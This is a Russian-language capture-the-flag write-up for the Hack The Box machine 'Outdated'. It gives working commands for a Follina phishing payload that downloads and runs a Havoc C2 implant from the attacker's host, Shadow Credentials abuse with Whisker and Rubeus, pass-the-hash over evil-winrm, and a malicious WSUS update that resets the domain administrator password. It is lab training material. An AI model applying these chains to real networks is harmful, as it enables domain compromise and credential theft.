Хакер - HTB Outdated. Повышаем привилегии через службу обновления Windows
hacker_frei
RalfHacker
Содержание статьи
- Разведка
- Сканирование портов
- Точка входа
- Точка опоры
- Продвижение
- Shadow Credentials
- Локальное повышение привилегий
В этом райтапе я покажу, как эксплуатировать нашумевшую уязвимость MSTD Follina, затем позлоупотребляем правом AddKeyCredentialLink на учетную запись, а при повышении привилегий поработаем со службой WSUS. Для удобства используем недавно опубликованный C2-фреймворк Havoc.
Площадкой для упражнений нам послужит тренировочная машина Outdated с площадки Hack The Box. Ее уровень сложности оценен как средний.
WARNING
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
РАЗВЕДКА
Сканирование портов
Добавляем IP-адрес машины в /etc/hosts:
10.10.11.175 outdated.htb
И запускаем сканирование портов.
Справка: сканирование портов
Сканирование портов — стандартный первый шаг при любой атаке. Он позволяет атакующему узнать, какие службы на хосте принимают соединение. На основе этой информации выбирается следующий шаг к получению точки входа.
Наиболее известный инструмент для сканирования — это Nmap. Улучшить результаты его работы ты можешь при помощи следующего скрипта:
#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
Он действует в два этапа. На первом производится обычное быстрое сканирование, на втором — более тщательное сканирование, с использованием имеющихся скриптов (опция -A).

Мы нашли много открытых портов, что типично для Windows:
- 25 — служба SMTP (почтовый сервер);
- 53 — служба DNS;
- 88 (фильтруется) — служба Kerberos;
- 135 — служба удаленного вызова процедур (Microsoft RPC). Используется для операций взаимодействия контроллер — контроллер и контроллер — клиент;
- 139 — служба сеансов NetBIOS, NetLogon;
- 389 (фильтруется) — служба LDAP;
- 445 — служба SMB;
- 464 — служба смены пароля Kerberos;
- 593 (HTTP-RPC-EPMAP) — используется в службах DCOM и MS Exchange;
- 636 — LDAP с шифрованием SSL или TLS;
- 3268 (LDAP) (фильтруется) — для доступа к Global Catalog от клиента к контроллеру;
- 3269 (LDAPS) — для доступа к Global Catalog от клиента к контроллеру через защищенное соединение;
- 5985 (фильтруется) — служба удаленного управления WinRM;
- 8530, 8531 (фильтруется) — служба WSUS для обновлений операционных систем и продуктов Microsoft;
- 9389 (фильтруется) — веб‑службы AD DS.
Порты 22 и 636 открывают нам новые доменные имена, которые добавим в файл /etc/hosts:
10.10.11.175 outdated.htb dc.outdated.htb mail.outdated.htb
ТОЧКА ВХОДА
Первым делом необходимо проверить, нет ли анонимного доступа к службе SMB. Для этого авторизуемся от имени пользователя guest с пустым паролем. С помощью утилиты CrackMapExec с параметром --shares можем сразу получить доступные общие ресурсы.
crackmapexec smb 10.10.11.175 -u 'guest' -p '' --shares

Получаем список общих ресурсов и отмечаем для себя доступный для чтения каталог Shares. Для работы с ресурсом SMB будем использовать smbclient из пакета скриптов impacket.
impacket-smbclient guest@dc.outdated.htb
use shares
ls

Находим всего один документ, который забираем на свой хост командой get NOC_Reminder.pdf.

Это отчет, который предоставляет нам список текущих уязвимостей (не факт, что закрытых). Также говорится, что мы можем прислать на адрес itsupport@outdated.htb ссылку на уязвимое приложение. В списке отмечаем недавно нашумевшую уязвимость CVE-2022-30190, она же Follina.
ТОЧКА ОПОРЫ
Воспользуемся готовым эксплоитом, но так как нам нужна ссылка на саму нагрузку, а не документ, содержащий ее, то внесем одно изменение. Найдем в исходном коде нагрузку и изменим ее на команду, которая скачает исполняемый файл и затем запустит.
Invoke-WebRequest http://10.10.14.24:8080/demon.exe -OutFile C:\\Windows\\Tasks\\demon.exe; C:\\Windows\\Tasks\\demon.exe

Теперь запустим файл follina.py, содержащий и нагрузку, и веб‑сервер, и листенер. Но вместо netcat мы будем использовать нагрузку Havoc.
python3 follina.py --interface tun0 --port 8000 --reverse 4321

А теперь перейдем к фреймворку Havoc. Собрать и клиент, и сервер из исходников очень легко. Сперва установим необходимые пакеты.
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm
Теперь скачиваем сам проект и собираем сначала клиент, потом сервер.
git clone https://github.com/HavocFramework/Havoc.git
#build client
cd Havoc/Client
make
cd ../..
#build server
cd Havoc/Teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
./Install.sh
make
Теперь внесем изменение в файл Havoc/Teamserver/profiles/havoc.yaotl, где указываем настройки сервера, а также пользователей для подключения.
Teamserver {
Host = "0.0.0.0"
Port = 9898
Build {
Compiler64 = "data/x86_64-w64-mingw32-cross/bin/x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "ralf" {
Password = "password"
}
}
Когда все готово, запускаем клиент как Havoc/Client/Havoc и сервер:
./teamserver server --profile ./profiles/havoc.yaotl
Затем создаем HTTPS-листенер и генерируем нагрузку в формате .exe.


В каталоге, где расположена нагрузка, запустим простой веб‑сервер:
python3 -m http.server 8080
Затем отправляем письмо.
swaks --to itsupport@outdated.htb --from ralf@ralf --server mail.outdated.htb --body "http://10.10.14.24:8000/"

Машина с багами, поэтому засылать приходилось по нескольку раз, а то и с ревертом самой машины. Но все же отстук получить удалось.

shell whoami

ПРОДВИЖЕНИЕ
Теперь нам нужно понять, куда двигаться дальше. Для этого мы используем очень крутую программу — BloodHound. В ней используется теория графов для выявления скрытых и часто непреднамеренных взаимосвязей в среде Active Directory. BloodHound можно использовать, чтобы идентифицировать очень сложные пути атаки, которые иначе было бы невозможно быстро идентифицировать.
BloodHound
Так как у нас нет учетных данных пользователя домена, нам предстоит использовать версию программы на C# на целевом хосте. Благо Havoc позволяет выполнять сборки .NET прямо в памяти без загрузки исполняемого файла на хост. Для этого используем команду dotnet inline-execute. После чего скачиваем файл с собранной информацией на командный сервер командой download.
dotnet inline-execute /home/ralf/tools/SHARP/Discovery/SharpHound.exe -c All
Скачанные файлы можно будет найти в хранилище Havoc.

Для работы с выходным файлом BloodHound нам нужно установить СУБД Neo4j и графическую оснастку bloodhound для построения графа связей.
sudo apt install neo4j bloodhound
Запустим установленную Neo4j командой sudo neo4j console. После сообщения об успешном старте зайдем на localhost:7474 через браузер. Нам сразу предложат установить пароль. После установки пароля запускаем BloodHound (команда bloodhound в командной строке) и авторизуемся с только что установленным паролем.
Когда откроется пустое окошко, закидываем в него полученный архив. А затем в поле поиска указываем группу пользователей. На экране будут отображены все пользователи из этой группы, среди которых найдем подконтрольного нам и пометим как Mark User as Owned. На иконке пользователя должен появиться череп. Затем попросим BloodHound найти путь продвижения к другим пользователям от уже взломанного (которого мы только пометили) — опция Shortest Path from Owned Principals в графе аналитики.

Так мы получим маршрут к захвату пользователя sflowers, который является администратором WSUS, но об этом поговорим уже при повышении привилегий. Сейчас же нам интересна группа ITSTAFF, которая имеет право AddKeyCredentialLink для учетной записи sflowers. Тут мы можем воспользоваться техникой Shadow Credentials.
Shadow Credentials
Эта техника позволяет атакующему завладеть учетной записью пользователя или компьютера, если он может изменить атрибут msDS-KeyCredentialLink целевого объекта и добавить к нему альтернативные учетные данные, такие как сертификат. Сделать это можно с помощью утилиты Whisker.
dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Whisker.exe add /target:sflowers

Сертификат добавлен, пароль показан, но также показана и следующая команда, которой мы запросим тикет и хеш пароля пользователя.
dotnet inline-execute /home/ralf/tools/SHARP/CredAccess/Rubeus.exe asktgt /user:sflowers /certificate:MIIJuAIB...dNldA/o3dwICB9A= /password:"C9pt7Aokq2cmfYxq" /domain:outdated.htb /dc:DC.outdated.htb /getcredentials /show

С полученным хешем можно авторизоваться через службу WinRM и запустить новый демон Havoc.
evil-winrm -i dc.outdated.htb -u sflowers -H 1FCDB1F6015DCB318CC77BB2BDA14DB5


ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ
Теперь вернемся к группе администраторов WSUS. Мы можем управлять службой WSUS, но прежде, чем говорить о повышении привилегий, нам нужно проверить еще два параметра.
Первый — обновления запрашиваются без использования SSL:
shell reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer

Второй — игнорируется ли запись WUServer:
shell reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServer

Условия соблюдены, поэтому мы можем использовать технику эскалации через WSUS. Сначала загружаем на хост PsExec64.exe.
upload /home/ralf/tmp/PsExec64.exe C:\Windows\Tasks\PsExec64.exe
Теперь c помощью SharpWSUS создаем вредоносное обновление, которое изменит пароль администратора.
.\SharpWSUS.exe create /payload:"C:\Windows\Tasks\PsExec64.exe" /args:'-accepteula -s -d cmd.exe /c "net user administrator !QA@WS3ed4rf"' /title:"newWSUS"

Теперь развернем наше обновление.
.\SharpWSUS.exe approve /updateid:b8947333-f662-4d7a-832f-f2f4700df828 /computername:dc.outdated.htb /groupname:"newgroup1"

.\SharpWSUS.exe check /updateid:b8947333-f662-4d7a-832f-f2f4700df828 /computername:dc.outdated.htb
И проверяем его статус.

Обновление прошло успешно, поэтому можем подключиться по WinRM и забрать флаг рута.
evil-winrm -i dc.outdated.htb -u Administrator -p '!QA@WS3ed4rf'

Машина захвачена!
Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei